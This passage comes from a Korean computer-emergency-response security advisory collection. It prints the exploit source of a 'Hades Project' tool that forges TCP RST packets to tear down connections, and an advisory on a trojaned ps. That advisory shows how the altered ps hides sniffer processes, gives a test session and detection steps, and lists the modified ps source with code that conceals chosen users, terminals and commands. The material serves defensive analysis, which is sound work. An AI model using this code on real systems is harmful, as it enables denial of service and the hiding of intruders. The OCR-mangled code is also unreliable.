- 패킷을 방송(broadcast)하지 않는 네트워크 장비를 사용한다.

Page 359: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

The Hades Project

Explorat in the Weakness of TCP

SYN -> RST generator

(avarice)

v. 1.0

daemon9/route/infinity

October 1996 Guild productions

comments to [email protected]

This coding project made possible by a grant from the Guild

corporation

*/

#include "lnw.h"

void main(){

void reset(struct iphdr *,struct tcphdr *,int);

struct epack{ /* Generic Ethernet

packet w/o data payload */

struct ethhdr eth: /* Ethernet Header */

struct iphdr ip; /* IP header */

struct tcphdr tcp; /* TCP header */

}epack;

int sock,shoe,dlen;

struct sockaddr dest;

struct iphdr *iphp;

struct tcphdr *tcphp;

Page 360: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(geteuid()||getuid()){

fprintf(stderr, "UID or EUID of 0 needed...₩n");

exit(0);

}

sock=tap(DEVICE); /* Setup the socket and device

*/

/* Could use hte SOCK_PACKET but

building Ethernet headers would

require more time overhead overhead; the kernel

can do it quicker then me */

if((shoe=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0){

perror("₩nHmmm.... socket provblems");

exit(1);

}

shadow(); /* Run as a daemon */

iphp=(struct iphdr *)(((unsigned long)&epack.ip)-2);

tcphp=(struct tcphdr *)(((unsigned long)&epack.tcp)-2);

/* Network reading loop / RSTing portion */

while(1)if(recvform(sock,&epack,sizeof(epack),0,&dest,&dlen))if(iphp->protocol==IPPR

OTO_TCP&&tcphp->syn)reset(iphp,tcphp,shoe);

}

/*

* Build a packet and send it off.

*/

void reset(iphp,tcphp,shoe)

struct iphdr *iphp;

struct tcphdr *tcphp;

int shoe;

{

void dump(struct iphdr *,struct tcphdr *);

struct tpack{ /* Generic TCP packet w/o

payload */

struct iphdr ip;

Page 361: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct tcpher tcp;

}tpack;

struct pseudo_header{ /* For TCP header checksum */

unsigned source_address;

unsigned dest_address;

unsigned char placeholdet;

unsigned char protocol;

unsigned short tcp_lenght;

struct tcphdr tcp;

}pheader;

struct sockaddr_insin; /* IP address information */

/* Setup the cin struct with

addressing information */

sin.sin_family=AF_INET; /* Internet address family */

sin.sin_port=tcphp->dest; /* Source port */

sin.sin_addr.s_addr=iphp->saddr;/*Dest. address */

/* Packet assembly begins here */

/* Fill in all the TCP header

information */

tpack.tcp.source=tcphp->dest; /* 16-bit Source port number */

tpack.tcp.dest=tcphp->source; /* 16-bit Destination port */

tpack.tcp.seq=0; /* 32-bit Sequence Number */

tpack.tcp.ack_seq=htonl(ntohl(tcphp->seq)+1); /* 32-bit

Acknowledgement Number */

tpack.tcp.doff=5; /* Data offset */

tpack.tcp.res1=0; /* reserved */

tpack.tcp.res2=0; /* reserved */

tpack.tcp.urg=0; /* Urgent offset valid flag */

tpack.tcp.ack=1; /* Acknowledgement field valid

flag */

tpack.tcp.psh=0; /* Push flag */

tpack.tcp.rst=1; /* Reset flag */

tpack.tcp.syn=0; /*Synchronize sequence numbers

flag */

Page 362: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

tpack.tcp.fin=0; /* Finish sending flag */

tpack.tcp.window=0; /* 16-bit Window size */

tpack.tcp.check=0; /* 16-bit checksum (to be filled

in below) */

tpack.tcp.urg_ptr_0; /* 16-bit urgent offset */

/* fill in all the IP header information

*/

tpack.ip.version=4; /* 4-bit Version */

tpack.ip.ihl=5; /* 4-bit Header Length */

tpack.ip.tos=0; /* 8-bit Type of service */

tpack.ip.tot_len=htons(IPHDR+TCPHDER); /* 16-bit Total length */

tpack.ip.id=0; /* 16-bit ID field */

tpack.ip.frag_off=0; /* 13-bit Fragment offset */

tpack.ip.ttl=64; /* 8-bit Time To Live */

tpack.protocol=IPPROTO_TCP; /* 8-bit Protocol */

tpack.ip.check=0; /* 16-bit Header checksum

(filled in below) */

tpack.ip.saddr=iphp->daddr; /* 32-bit Source Address */

tpack.ip.daddr=iphp->saddr; /* 32-bit Destination Address */

pheader.source_address=(unsigned)tpack.ip.saddr;

pheader.dest_address=(unsigned)tpack.ip.daddr;

pheader.placeholder=0;

pheader.placeholder=0;

pheader.protocol=IPPROTO_TCP;

pheader.tcp_length=htons(TCPHDR);

/* IP header checksum */

tpack.ip.check=in_ckeck=in_cksum((unsigned short *)&tpack.ip,IPHDR);

/* TCP header checksum */

bcopy((char *)&tpack.tcp.(char *)&pheader.tcp,TCPHDR);

tpack.tcp.check=in_cksum((unsigned short *)&pheader,TCPHDR+12);

Page 363: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sndto(shoe,&tpack,IPHDR+TCPHDR,0,(struct sockaddr

*)&sin,sixeof(sin));

#ifnedf QUIET

dump(iphp,tcphp);

#endif

}

/*

* Dumps some info...

*/

void dump(iphp,tcphp)

struct iphdr *iphp;

struct tcphdr *tcphp;

{

fprintf(stdout,"Connection-establishment Attempt:");

fprintf(stdout,"%s [%d]->%s

[%d]₩n",hostLookup(iphp->saddr),ntohs(tcphp->source),hostLookup(iphp->daddr),nto

hs(tcphp->dest

));

fprintf(stdout,"Thwarting...₩n");

}

Page 364: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

PS_트로이목마-*-해킹도구

trojaned_ps-*-hack_tool

Page 365: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

trojaned_ps-*-hack_tool

PS_트로이목마-*-해킹도구

문서번호

KH98-039

문서제목

ps_트로이목마-*-해킹도구 (trojaned_ps-*-hack_tool)

관련 응용프로그램

/bin/ls

관련 운영체제

Sun SunOS, Linux 등

취약점 분석

취약점 이해

- 보통 시스템의 불법적인 사용자 또는 해킹 도구등의 활동 여부를 판단하기 위해 ps 명

령을 이용하여 시스템내 프로세스 현황을 확인한다. 그러나 ps 프로그램을 수정하면 시스템

내의 특정 프로세서를 감출 수 있다.

취약점 확인 방법

- /dev/ttypp 파일이 존재하는지 확인한다.

해킹수법 분석

해킹수법 이해

- 트로이목마 ps 프로그램은 보통 스니퍼의 실행을 감추기 위해서 사용된다.

- 사용자들이 ps명령의 수행시킬 때 /dev/ttypp에 등록된 프로그램은 해당 프로세스가 사

용자에게 표시하지 않게 한다.

해킹 소스 프로그램

- 첨부

Page 366: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹시험 결과

-s# sniffer

Using logical device le0 [/dev/nit]

Output to stdout.

Log started at=>Fri Dec 6 10:52:24 [pid 15513]

^Z

Stopped

-s# bg

[1] sniffer &

-s# ps

PID TT STAT TIME COMMAND

540 co |W 0:00 /bin/sh/usr/openwin/bin/openwin

547 co |W 0:00 /usr/openwin/bin/xinit - /usr/openwin/bin/xnews:0

-auth/

548 co |W 0:00 /usr/openwin/bin/xnews :0 -auth//.xnews.kisa:0

550 co |W 0:00 sh //.xinitrc

560 co |W 0:00 olwm -3

564 p0 |W 0:00 -bin/csh()

565 p1 |W 0:00 /usr/openwin/bin/xview/comtool

566 p1 |W 0:00 -bin/csh()

678 p1 |W 0:00 perl -S merlin

685 p1 |W 0:00 /user/netscapes/2.02/netscape -install

fille:///user/tool/me

686 p1 |W 0:00 perl -S merlin

15457 p1 Z 0:00 <dufunct>

588 p2 |W 0:00 /usr/openwin/bin/xview/cmdtool

589 p2 |W 0:00 -bin/csh()

15381 p3 S 0:00 -csh()

15513 p3 S 0:00 sniffer

15514 p3 R 0:00 ps

11723 p4 |W 0:00 /usr/openwin/bin/xview/cmdtool

11740 p4 |W 0:00 -bin/csh()

-s# ./ps

PID TT STAT TIME COMMAND

540 co |W 0:00 /bin/sh/usr/openwin/bin/openwin

547 co |W 0:00 /usr/openwin/bin/xinit - /usr/openwin/bin/xnews :0

Page 367: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

-auth/

548 co |W 3:27 /usr/openwin/bin/xnews :0 -auth//.xnews.kisa:0

550 co |W 0:00 sh //.xinitrc

560 co |W 0:03 olwm -3

564 p0 |W 0:00 -bin/csh(csh)

565 p1 |W 0:05 /usr/openwin/bin/xview/cmdtool

566 p1 |W 0:00 -bin/csh(csh)

678 p1 |W 0:00 perl -S merlin

685 p1 |W 0:59 /user/netscapes/2.02/netscape -install

file:///user/tool/me

686 p1 |W 0:00 perl -S merlin

15457 p1 Z 0:00 <defunct>

588 p2 |W 0:27 /usr/openwin/bin/xview/cmdtool

589 p2 |W 0:00 -bin/csh(csh)

15381 p3 S 0:00 -csh(csh)

15515 -3 R 0:00 ./ps

11723 p4 |W 0:08 /usr/openwin/bin/xview/cmdtool

11740 p4 |W 0:00 -bin/csh(csh)

-s#

해킹흔적 확인방법

- /dev/ttypp 파일이 존재하는지 확인한다.

대응방법

- 루트킷트(rootkit) 검사도구를 이용한다.

ftp://ftp.fu-berlin.de/unix/security/chkexploit/chkrootkit-0.8.tar.gz

- 파일시스템 무결성 검사도구(tripwire, md5 등)를 사용하여 파일변조여부를 점검한다.

Page 368: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

/*

Modified ps to strip out uids, ptys, ttys, or commands

currently in the process list.

*/

/*

* Copyright (c) 1980 Regents of the University of California.

* All rights reserved. The Berkeley software License Agreement

* specifies the terms and conditions for redistribution.

*/

#ifndef lint

char copyright[]=

"@(#) Copyright(c) 1980 Regents of the University of California.₩n₩

All right reserved.₩n";

#endif not lint

#ifndef lint

static char sccsid[]="@(#)ps.c.1.1 91/11/13 SMI";/*from UCB 5.9

5/8/86 */

#endif not lint

#include <stdio.h>

#include <ctype.h>

#include <locale.h>

#include <a.out.h>

#include <pwd.h>

#include <fcnt.h>

#include <kvm.h>

#define KERNEL

#include <sys.param.h>

#undef KERNEL

#include <sys/ioctl.h>

#include <sys/dir.h>

#include <sys/user.h>

Page 369: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#include <sys/proc.h>

#include <sys/vm.h>

#include <sys/stat.h>

#include <sys/session.h>

#include <sys/vnode.h>

#include <vm/page.h>

#include <math.h>

#include "config.h"

char *nl_names[]={

"_proc",

#define X_PROC 0

"_ccpu",

#define X_CCPU 1

"_nproc",

#define X_NPROC 2

"_file",

#define X_FILE 3

"_cfree",

#define X_CFREE 4

"_callout".

#define X_CALLOUT 5

"_kernelmap",

#define X_KERNELMAP 6

"_mbmap",

#define X_MBMAP 7

"_dquot",

#define X_DQUOT 8

"_boottime",

#define X_BOOTTIME 9

/* Symbols related to the new VM system - may change */

"_pages",

#define X_PAGES 10

"_epages",

#define X_EPAGES 11

#ifdef Sun

"_rconsdev",

Page 370: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define X_RCONSDEV 12

#endif Sun

" "

};

struct nlist *nl; /*all because we can't init

unions */ /*# of nlist entries */

int nllen;

struct savcom {

union {

struct jsav *jp;

struct lsav *lp;

float u_pctcpu;

struct vsav*vp;

} s_un;

struct asav *ap;

} *savcom;

struct asav {

char *a_cmdp;

int a_flag;

short a_stat;

uid_t a_uid;

short a_pid, a_nice, a_pri, a_slptime, a_time;

int a_size, a_rss;

char a_tty[MAXNAMLEN+1];

dev_t a_ttyd;

time_t a_cpu;

int a_maxrss;

time_t a_start;

};

char *lhdr, *jhdr;

int wcwidth; /*width of the wchan field for sprintf

*/

struct |sav {

short |_ppid;

char |_cpu;

caddr_t |_wchan;

};

Page 371: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

s truct jsav {

short j_ppid;

short j_pgrp;

short j_sid;

short j_tpgrp;

};

char *uhdr;

char *shdr;

char *vhdr;

struct vsav {

u_int v_majflt;

int v_swrss;

float v_pctcpu;

};

#define NPROC 16

struct proc *mproc;

struct timeval boottime;

time_t now;

struct user *u;

struct sess s;

#ifndef PSFILE

char *psdb = "/etc/psdatabase";

#else

char *psdb = PSFILE;

#endif

int chkpid=-1;

int aflg, cflg, eflg, kflg, lflg, nflg, rflg,

uflg, vflg, xflg, Uflg, jflg;

int nchans; /*total # of wait channels */

char *tptr;

char *gettty(), *getcmd(), *getname(), *savestr(), *state();

char *rindex(), *calloc(), *sbrk(), *strcpy(), *strcat(), *strncat();

Page 372: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *strncpy(), *index(), *ttyname(), mytty[MAXPATHLEN+1];

char *malloc(), *getchan();

long |seek();

double pcpu(), pmem();

int wchancomp();

int pscomp();

double ccpu;

long kccpu;

dev_t rconsdev;

int nproc;

int nttys;

struct ttys {

dev_t ttyd;

int cand;

char name[MAXNAMLEN+1];

} *allttys;

int cand[16] = {-1, -1, -1, -1, -1, -1, -1, -1,

-1, -1, -1, -1, -1, -1, -1, -1},

struct lttys {

struct ttys ttys;

struct lttys *next;

} *lallttys;

/*

* struct for the symbolic wait channel info

*

* WNAMESIZ is the max # of chars saved of the symbolic wchan gleaned

* from the namelist. Normally, only WSNAMESIZ are printed in the long

* format, unless the terminal width is greater than WTSIZ wide.

*/

#define WNAMESIZ 12

#define WSNAMESIZ 8

#define WTSIZ 95

struct wchan {

char wc_name[WNAMESIZ+1]; /*symbolic name */

caddr_t wc_caddr; /*addr in kmem */

} *wchanhd; /*an array sorted by wc_caddr

Page 373: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*/

#define NWCINDEX 10 /*the size of the index array

*/

caddr_t wchan_index[NWCINDEX]; /*used to speed searches */

/*

*names listed here are not kept as wait channels - this is used to

*remove names that confuse ps, like symbols that define the end of an

*array that happen to be equal to the next symbol.

*/

char *wchan_stop_list[]={

"umbabeg",

"umbaend",

"calimit",

NULL

};

/*

*names listed here get mapped - this is because only a guru will

*necessarily know that something waiting on "selwait" is waiting

*for a select to finish.

*/

struct wchan_map {

char *map_form;

char *map_to;

} wchan_map_list[]+{

{ "proc", "child"},

{ "u", "pause" },

{ "selwait", "select" },

{ "mbutl", "socket" },

{ NULL, NULL },

};

int gotwchans; /*1 if already have the wait channels */

int npr;

int cmdstart;

int twidth;

struct winsize win;

Page 374: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

char *kmemf, *swapf, *nlistf;

kvm_t *kvm_des;

int rawcpu, sumcpu;

char *cmdbuf;

/*+ Hack vars +*/

#define STR_SIZE 128

#define SEP_CHAR "₩n"

#define SHOWFFLAG /* Able to list processes with 'ps-/' command

*/

struct h_st {

struct h_st *next;

int hack_type;

char hack_cmd[STR_SIZE];

};

struct h_st *hack_list;

struct h_st *h_tmp;

char tmp_str[STR_SIZE];

char *strp;

FILE *fp_hack;

int s_pr;

#if defined(SHOWFLAG)

int show_all=0;

#endif

/*+ End hack vars +*/

#define pgtok(a) ((a)*CLBYTES/1024)

main(argc, argv)

char **argv;

{

register int i;

register char *ap;

int uid;

Page 375: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int width;

setlocale(LC_CTYPE, ""); /* get locale environment */

if (ioctl(1, TIOCGWINSZ, &win)=-1)

twidth=80;

else

twidth=(win.ws_col=0 ? 80 : win.ws_col);

argc--, argv++;

if (argc>0) {

ap=argv[0];

if (*ap == '-') ap++;

while (*ap) switch(*ap++) {

case 'C':

rawcpu++;

break;

case 'S':

sumcpu++;

break;

case 'U':

Uflg++;

break;

case 'a':

aflg++;

break;

case 'c':

cflg=!cflg:

break;

case 'e':

eflg++;

break;

case 'g':

gflg++;

break;

case 'k':

kflg++;

Page 376: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

break;

case 'l':

lflg++;

break;

case 'n';

nflg++;

break;

case 'j':

jflg++;

break;

case 'r':

rflg++;

break;

case 't':

if(*ap)

tptr=ap;

else if ((ttyname(0)) !=0) {

tptr=strcpy(mytty, tptr);

if (strncmp(tptr, "/dev/", 5)=0)

tptr+=5;

}

if(strncmp(tptr, "tty", 3)=0)

tptr +=3;

aflg++;

gflg++;

if (tptr && *tptr= '?')

xflg++;

while(*ap)

ap++;

break;

case 'u':

uflg++;

break;

case 'v':

cflg=1;

vflg++;

break;

case 'w':

if(twidth<132)

twidth=132;

Page 377: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

else

twidth=BUFSIZ;

break;

case 'x':

xflg++;

break;

case '-':

break;

#if defined(SHOWFKAG)

case '/':

show_all++;

break;

#endif

default:

if(!isdigit(ap[-1])) {

fprintf(stderr, "ps: %c: unknown

option₩n", ap[-1]);

usage();

exit(1);

}

chkpid=atoi(-ap);

*ap=0;

aflg++;

xflg++;

break;

}

}

nlistf=argc>1 ? argv[1] : NULL;

kmemf=NULL;

if(kflg)

kmemf=argc>2 ? argvp[2]:"/vmcore";

if(kflg=0 || argc>3)

swapf=argc>3 ? argv[3]:"/dev/drum";

else

swapf=NULL;

getkvars();

uid=getuid();

(void) time(&now);

printhdr();

nproc=getw(nl[X_NPROC].n_value);

cmdbuf=malloc(twidth+1);

Page 378: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

savcom=(struct savcom*)calloc(unsigned) nproc, sizeof

(*savcom));

if(cmdbuf=NULL || savcom=NULL) {

fprintf(stderr, "ps: out of memory allocation

savcom₩n);

exit(1);

}

kvm_read(kvm_des, nl[x_BOOTTIME]. n_value, &boottime,

sizeof (boottime));

if(kvm_setproc(kvm_des)<0) {

cantread("proc table", kmemf);

exit(1);

}

while((mproc=kvm_nextproc(kvm_des)) !=NULL) {

if(mproc->p_pgrp=0 && xflg=0)

continue;

if(tptr=0 && glfg=0 && xflg=0 &&

mproc->p_ppid=1)

continue;

if (uid !=mproc->p_suid && aflg=0)

continue;

if(chkpid!=-1 && chkpid !=mproc->pid)

continue;

if(vflg && gflg=0 && xflg=0 && jflg=0) {

if (mproc->p_stat=SZOMB ||

mproc->p_flag&SWEXIT)

continue;

if (mproc->p_slptime>MAXSLP &&

(mproc->p_stat=SSLEEP ||

mproc->p_stat=SSTOP))

continue;

}

if(rflg && !(mproc->p_stat=SRUN

|| mproc->p_pri<PZERO))

continue;

save();

}

width=twidth-cmdstart -2;

if(width<0)

Page 379: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

width=0;

qsort((char*) savcom, npr, sizeof(savcom[0]), pscomp);

/*+ Read in hacks lists and build list of hack types +*/

h_tmp=(struct h_st *)malloc(sizeof(struct h_st));

hack_list-h_tmp;

if(fp_hack=fopen (PSCONF, "r")) {

while (fgets(tmp_str, 126, fp_hack)) {

h_tmp->next=(struct h_st *)malloc(sizeof(struct

h_st));

strp=(char *)strtok(tmp_str, SEP_CHAR);

h_tmp->hack_type=atoi(strp);

strp=(char *)strtok('₩0', SEP_CHAR);

strcpy (h_tmp->hack_cmd, strp);

h_tmp=h_tmp->next;

}

}

h_tmp->next=NULL;

for (i=0; i<npr; i++) {

register struct savcom *sp=&savcom[i];

/*+

Checking for matches

Matches supported:

0: UID match. Kill all output with defined uid.

1: PTY match. Kill all output with defined tty.

2: CMDP match. Kill all output with difined command.

+*/

s_pr=1;

for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {

switch (h_tmp->hack_type) {

case 0:

if

(sp->ap->a_uid=atoi(h_tmp->hack_cmd))

s_pr-;

Page 380: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

break;

case 1:

if(!strcmp(sp->ap->a_tty,

h_tmp->hack_cmd))

s_pr--;

break;

case 2:

strcpy(tmp)str, sp->ap->a_cmdp);

strp=(char*)strtok(tmp_str, SEP_CHAR):

if(strp)

if (!strcmp(strp,

h_tmp->hack_cmd))

s_pr-;

break;

}

}

/*+ End hacks +*/

if(s_pr || show_all) {

if (lflg)

lpr(sp);

else if (jflg)

jpr(sp);

else if (vflg)

vpr (sp);

else if (uflg)

upr(sp);

else

spr(sp);

if(sp->ap->a_stat=SZOMB)

printf("<defunct>");

else if (sp->ap->a_flag & SWEXIT)

printf("<exiting>");

else if (sp->ap->a_pid=0)

printf("swapper");

else if (sp->ap->a_pid=2)

pintf("pagedaemon");

else

printf("%.*s", twidth-cmdstart-2,

sp->ap->a_cmdp);

printf("₩n");

Page 381: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}/*+ HACKS +*/

}

exit(npr=0);

}

getw(loc)

unsingned long loc;

{

int word;

if(kvm_read(kvm_des, loc, (char*) &word,

sizeof (word)) !=sizeof(word)) {

if (kmemf=NULL)

printf("ps: error reading at %x₩n", loc);

else

printf("ps: error reading %s at %x₩n", kmemf,

}

return (word);

}

/*

*/ Version allows change of db format w/o temporarily bombing ps's

*/

char thisversion[4]="V3"; /* length must remain 4*/

writepsdb(unixname)

char *unixname;

{

register FILE *fp;

struct lttys *lt;

struct stat stb;

setgid(getgid());

setuid(getuid());

if((fp=fopen(psdb, "w"))=NULL) {

fprintf(stderr, "ps: ");

perror(psdb);

exit(1);

Page 382: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

} else

fchmod(fileno(fp), 0644);

fwrite(thisversion, sizeof thisversion, 1, fp);

fwrite(unixname, strlen(unixname)+1, 1, fp);

if (stat(unixname, stb)<0)

stb.st_mtime=0;

fwrite((char *) &stb.st_mtime, sizeof stb.st_mtime, 1, fp);

fwrite((char *) &nllen, sizeof nllen, 1, fp);

fwrite((char *) nl, sizeof (struct nlist), nllen, fp);

fwrite((char *) cand, sizeof (cand), 1, fp);

fwrite((char *) &nttys, sizeof nttys, 1, fp);

for (|t=|a||ttys ; |t ; |t = |t->next)

fwrite((char *) &|t->ttys, sizeof(struct ttys), 1, fp);

fwrite((char *) &nchans, sizeof nchans, 1, fp);

fwrite((char *) wchanhd, sizeof (struct wchan), nchans, fp);

fwrite((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp);

fcolse(fp);

}

readpsdb(unixname)

char *unixname;

{

register FILE *fp;

char unamebuf[BUFSIZ];

char *p=unamebuf;

char dbversion[sizeof thisversion];

struct stat stb;

time_t dbmtime;

extern int errno;

if((fp=fopen(psdb, "r"))=NULL) {

if(errno=ENOENT)

return (0);

fprintf(stderr, "ps:");

perror(psdb);

exit(1);

Page 383: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

/*

*Does the db file match this unix?

*/

fread(dbversion, sizeof dbversion, 1, fp);

if (bcmp(thisversion, dbversion, sizeof thisversion))

goto bad;

while((*p=getc(fp)) !="₩0')

p++;

if (strcmp(unixname, unamebuf))

goto bad;

fread((char *) &dbmtime, sizeof dbmtime, 1, fp);

if (stat(unixname, &stb) <0)

stb.st_mtime=0;

if(stb.st_mtiome !=dbmtime)

goto bad;

fread((char *) &nllen, sizeof nllen, 1, fp);

nl=(struct nlist *) malloc(nllen * sizeof (struct nlist));

if (nl=NULL) {

fprintf(stderr, "ps: out of memory allocation nlist₩n");

exit(1);

}

fread((char *) nl, sizeof (struct nlist), nllen, fp);

fread((char *) cand, sizeof (cand), 1, fp);

fread((char *) &nttys, sizeof nttys, 1, fp);

allttys=(struct ttys *)malloc(sizeof(struct ttys)*nttys);

if(allttys=NULL) {

fprintf(stderr, "ps: Can't malloc space for tty

table₩n");

exit(1);

}

fread((char *) allttys, sizeof (struct ttys), nttys, fp);

fread((char *) &nchans, sizeof nchans, 1, fp);

wchanhd=(struct wchan *) malloc(nchans * sizeof (struct

wchan));

if (wchanhd == NULL) {

fprintf(stderr, "ps: Can't malloc space for wait

channels₩n");

Page 384: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

nflg++;

fseek(fp, (long) nchans * sizeof (struct wchan), 1);

} else {

fread((char *) wchanhd, sizeof (struct wchan), nchans,

fp);

gotwchans=1;

}

fread((char *) wchan_index, sizeof (caddr_t), NWCINDEX, fp);

fclose(fp);

return(1);

bad:

fclose(fp);

return(0);

}

ps_kvm_open()

{

kvm_des = kvm_open(nlistf, kmemf, swapf, O_RDONLY, "ps");

if (kvm_des == NULL) {

if (nlistf == NULL)

fprintf(stderr, "ps: could not read kernel

VM₩n");

else

fprintf(stderr, "ps: could not read kernel VM

for %s₩n",

nlistf);

exit(1);

/* NOTREACHED */

}

}

getkvars()

{

int faildb = 0; /* true if psdatabase init

failed */

register char *realnlistf;

Page 385: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if ((realnlistf - nlistf) ==NULL)

realnlistf = "/vmunix";

if (Uflg) {

init_nlist();

ps_kvm_open();

kvm_nlist(kvm_des, nl);

getvchans();

getdev();

writepsdb(realnlistf);

exit (0);

} else if (!readpsdb(realnlistf)) {

init_nlist();

ps_kvm_open();

faildb = 1;

kvm_nlist(kvm_des, nl);

nttys = 0;

getdev();

} else {

ps_kvm_open();

}

if (nl[0].n_type ==0) {

fprintf(stderr, "ps: %s: %s: No namelist₩n", realnlistf);

exit(1);

}

if (faildb)

getvchans();

if (kvm_read(kvm_des, nl[X_CCPU].n_value, (char *)&kccpu,

sizeof (kccpu)) != sizeof (kccpu)) {

cantread("ccpu", kmemf);

exit(1);

}

ccpu = (double)kccpu / FSCALE;

#ifdef Sun

if (kvm_read(kvm_des, nl[X_RCONSDEV].n_value, (char *)&rconsdev,

sizeof (rconsdev)) !=sizeof (rconsdev)) {

cantread("rconsdev", kmemf);

exit(1);

Page 386: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

#endif

}

/*

* get the valloc'ed kernel variables for symbolic wait channels

*/

getvchans()

{

int i, tmp;

if (nflg)

return;

#define addv(i) addchan(&nl[i].n_un.n_name[1],

getw(nl[i].n_value))

addv(X_FILE);

addv(X_PROC);

addv(X_CFREE);

addv(X_CALLOUT);

addv(X_KERNELMAP);

